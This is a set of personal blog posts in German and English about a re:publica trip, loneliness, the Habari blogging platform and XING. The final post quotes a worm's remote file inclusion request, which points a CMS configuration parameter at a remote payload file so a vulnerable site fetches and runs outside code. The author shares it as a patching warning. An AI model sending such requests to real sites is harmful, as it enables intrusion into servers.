Ich bin vom 2.–4. April auf der re:publica in Berlin. Verabredungen gehen am besten per Twitter direct message. Ich habe übrigens noch Mitfahrplätze von Hamburg nach Berlin und zurück frei. Ich will am 2. morgens fahren und am 4. spät abends. Auch hier, entweder Twitter dm oder Kommentar hinterlassen, ich mail euch dann.
See you in Berlin…
Okay, March was not that great. The weather was wild and mostly sucked, I got sick, didn’t get much work done despite working all the time, and it generally felt like little progress was made. Well, sad no more! April’s coming!
With fresh spirits, we shall change the world, one step at a time.
I have a growing urge to get away, get out, meet new people and generally take my mind off $WORK.
Don’t get me wrong, work is good, we’re doing cool projects, but as a small company without VC backing or anything, it is all too often that you limited resources prevent you from doing the next cool thing. So, I want more resources to hire more good people.
More generally speaking, I want to meet more good people, but I don’t really know where to start. I missed some web-2.0 / open source / social commerce / etc. type events after moving, which sucked. I’m hoping to catch the next few, sitting in Starbucks and chatting with fellow geeks and geekettes about geeky stuff. Less slouch-coding, more exchange of ideas, more shared projects, more collaboration… too bad all that stuff happens in the city center, and I live on the fringes. The cat is happy, but it doesn’t exactly help with meeting people.
Yes, I said it. I feel lonely. I don’t have as much time for myself, making friends, or just stroking the cat as I would like, and it annoys me, not the least because I keep thinking that I could do it all better, if only I would try harder.
And then I try to convince myself that that’s rubbish.
I finally moved over to this blogging platform thingamajick I’m writing with the great folks of the Habari Project. The theme is the wonderful Charcoal by Ali B. / dmondark with minor tweaks.
Habari unfortunately didn’t get accepted into this year’s Summer of Code, although we made the short list. Anyway, we decided we’ll just hold our own Summer of Love Habari Summer of Collaboration. We will try to get fancy t-shirts, too. Check it out.
Habari. Mzuri sana!
Sagt XING:
Premium-Mitglieder können ab sofort auf ihrem XING-Profil ihren aktuellen Status eintragen.
Die Facebookifizierung hat nach LinkedIn jetzt also auch XING erwischt. Wenn XING jetzt noch eine offene Plattform wäre (*hust*openBC?*hust*), könnte man auch Twitter integrieren.
Auf fünf Seiten meine Nachricht einzugeben hab ich nämlich wenig Lust.
Don’t get me wrong, they’re right, this is what keeps geeks out of the boardroom–at stupid companies. I don’t know why anyone would want to work at a place that values conformist haircuts over results. If what you want is conformity, you’ll get conformists. Serves you right.
Some worm is doing the rounds. Requests look like this:
/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://ebbw.net/components/com_magazine/layouts/id.txt?
The payload only checks for the user id, but can easily be changed of course.
Update your stuffs and update your tripwires.